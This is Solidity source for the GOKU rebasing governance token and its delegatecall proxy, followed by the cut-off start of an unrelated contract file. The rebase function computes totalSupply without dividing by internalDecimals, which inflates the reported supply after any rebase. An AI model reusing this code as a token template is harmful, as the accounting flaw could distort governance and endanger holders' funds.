function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Storage for a GOKU token
contract GOKUTokenStorage {
using SafeMath for uint256;
/**
* @dev Guard variable for re-entrancy checks. Not currently used
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Governor for this contract
*/
address public gov;
/**
* @notice Pending governance for this contract
*/
address public pendingGov;
/**
* @notice Approved rebaser for this contract
*/
address public rebaser;
/**
* @notice Reserve address of GOKU protocol
*/
address public incentivizer;
/**
* @notice Airdrop address of GOKU protocol
*/
address public airdrop;
/**
* @notice Total supply of GOKUs
*/
uint256 public totalSupply;
/**
* @notice Internal decimals used to handle scaling factor
*/
uint256 public constant internalDecimals = 10**24;
/**
* @notice Used for percentage maths
*/
uint256 public constant BASE = 10**18;
/**
* @notice Scaling factor that adjusts everyone's balances
*/
uint256 public gokusScalingFactor;
mapping (address => uint256) internal _gokuBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract GOKUGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract GOKUTokenInterface is GOKUTokenStorage, GOKUGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Event emitted when tokens are rebased
*/
event Rebase(uint256 epoch, uint256 prevGokusScalingFactor, uint256 newGokusScalingFactor);
/*** Gov Events ***/
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
/**
* @notice Sets the rebaser contract
*/
event NewRebaser(address oldRebaser, address newRebaser);
/**
* @notice Sets the incentivizer contract
*/
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
/**
* @notice Sets the airdrop contract
*/
event NewAirdrop(address oldAirdrop, address newAirdrop);
/* - ERC20 Events - */
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/* - Extra Events - */
/**
* @notice Tokens minted event
*/
event Mint(address to, uint256 amount);
// Public functions
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
/* - Governance Functions - */
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
/* - Permissioned/Governance functions - */
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setAirdrop(address airdrop_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract GOKUGovernanceToken is GOKUTokenInterface {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GOKU::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GOKU::delegateBySig: invalid nonce");
require(now <= expiry, "GOKU::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "GOKU::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _gokuBalances[delegator]; // balance of underlying GOKUs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "GOKU::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract GOKUToken is GOKUGovernanceToken {
// Modifiers
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov || msg.sender == airdrop, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_
)
public
{
require(gokusScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @notice Computes the current max scaling factor
*/
function maxScalingFactor()
external
view
returns (uint256)
{
return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
// scaling factor can only go up to 2**256-1 = initSupply * gokusScalingFactor
// this is used to check if gokusScalingFactor will be too high to compute balances when rebasing.
return uint256(-1) / initSupply;
}
/**
* @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance.
* @dev Limited to onlyMinter modifier
*/
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
// increase totalSupply
totalSupply = totalSupply.add(amount);
// get underlying value
uint256 gokuValue = amount.mul(internalDecimals).div(gokusScalingFactor);
// increase initSupply
initSupply = initSupply.add(gokuValue);
// make sure the mint didnt push maxScalingFactor too low
require(gokusScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
// add balance
_gokuBalances[to] = _gokuBalances[to].add(gokuValue);
// add delegates to the minter
_moveDelegates(address(0), _delegates[to], gokuValue);
emit Mint(to, amount);
}
/* - ERC20 functionality - */
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// underlying balance is stored in gokus, so divide by current scaling factor
// note, this means as scaling factor grows, dust will be untransferrable.
// minimum transfer value == gokusScalingFactor / 1e24;
// get amount in underlying
uint256 gokuValue = value.mul(internalDecimals).div(gokusScalingFactor);
// sub from balance of sender
_gokuBalances[msg.sender] = _gokuBalances[msg.sender].sub(gokuValue);
// add to balance of receiver
_gokuBalances[to] = _gokuBalances[to].add(gokuValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], gokuValue);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// decrease allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
// get value in gokus
uint256 gokuValue = value.mul(internalDecimals).div(gokusScalingFactor);
// sub from from
_gokuBalances[from] = _gokuBalances[from].sub(gokuValue);
_gokuBalances[to] = _gokuBalances[to].add(gokuValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], gokuValue);
return true;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
external
view
returns (uint256)
{
return _gokuBalances[who].mul(gokusScalingFactor).div(internalDecimals);
}
/** @notice Currently returns the internal storage amount
* @param who The address to query.
* @return The underlying balance of the specified address.
*/
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _gokuBalances[who];
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/* - Governance Functions - */
/** @notice sets the rebaser
* @param rebaser_ The address of the rebaser contract to use for authentication.
*/
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
/** @notice sets the incentivizer
* @param incentivizer_ The address of the rebaser contract to use for authentication.
*/
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
/** @notice sets the airdrop
* @param airdrop_ The address of the airdrop contract to use for authentication.
*/
function _setAirdrop(address airdrop_)
external
onlyGov
{
address oldAirdrop = airdrop;
airdrop = airdrop_;
emit NewAirdrop(oldAirdrop, airdrop_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/* - Extras - */
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, gokusScalingFactor, gokusScalingFactor);
return totalSupply;
}
uint256 prevGokusScalingFactor = gokusScalingFactor;
if (!positive) {
gokusScalingFactor = gokusScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = gokusScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
gokusScalingFactor = newScalingFactor;
} else {
gokusScalingFactor = _maxScalingFactor();
}
}
totalSupply = initSupply.mul(gokusScalingFactor);
emit Rebase(epoch, prevGokusScalingFactor, gokusScalingFactor);
return totalSupply;
}
}
contract GOKU is GOKUToken {
/**
* @notice Initialize the new money market
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_
)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
totalSupply = initSupply_;
gokusScalingFactor = BASE;
_gokuBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
// owner renounces ownership after deployment as they need to set
// rebaser and incentivizer, airdrop
// gov = gov_;
}
}
contract GOKUDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract GOKUDelegatorInterface is GOKUDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract GOKUDelegateInterface is GOKUDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
contract GOKUDelegate is GOKU, GOKUDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
contract GOKUDelegator is GOKUTokenInterface, GOKUDelegatorInterface {
/**
* @notice Construct a new GOKU
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
* @param initSupply_ Initial token amount
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initSupply_,
address implementation_,
bytes memory becomeImplementationData
)
public
{
// Creator of the contract is gov during initialization
gov = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(string,string,uint8,address,uint256)",
name_,
symbol_,
decimals_,
msg.sender,
initSupply_
)
);
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
}
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == gov, "GOKUDelegator::_setImplementation: Caller must be gov");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(address to, uint256 mintAmount)
external
returns (bool)
{
to; mintAmount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount)
external
returns (bool)
{
dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
)
external
returns (bool)
{
src; dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(
address spender,
uint256 amount
)
external
returns (bool)
{
spender; amount; // Shh
delegateAndReturn();
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
external
returns (bool)
{
spender; addedValue; // Shh
delegateAndReturn();
}
function maxScalingFactor()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
returns (uint256)
{
epoch; indexDelta; positive;
delegateAndReturn();
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
spender; subtractedValue; // Shh
delegateAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(
address owner,
address spender
)
external
view
returns (uint256)
{
owner; spender; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param delegator The address of the account which has designated a delegate
* @return Address of delegatee
*/
function delegates(
address delegator
)
external
view
returns (address)
{
delegator; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/**
* @notice Currently unused. For future compatability
* @param owner The address of the account to query
* @return The number of underlying tokens owned by `owner`
*/
function balanceOfUnderlying(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/*** Gov Functions ***/
/**
* @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @param newPendingGov New pending gov.
*/
function _setPendingGov(address newPendingGov)
external
{
newPendingGov; // Shh
delegateAndReturn();
}
function _setRebaser(address rebaser_)
external
{
rebaser_; // Shh
delegateAndReturn();
}
function _setIncentivizer(address incentivizer_)
external
{
incentivizer_; // Shh
delegateAndReturn();
}
function _setAirdrop(address airdrop_)
external
{
airdrop_; // Shh
delegateAndReturn();
}
/**
* @notice Accepts transfer of gov rights. msg.sender must be pendingGov
* @dev Gov function for pending gov to accept role and update gov
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptGov()
external
{
delegateAndReturn();
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
account; blockNumber;
delegateToViewAndReturn();
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
delegatee; nonce; expiry; v; r; s;
delegateAndReturn();
}
function delegate(address delegatee)
external
{
delegatee;
delegateAndReturn();
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"GOKUDelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
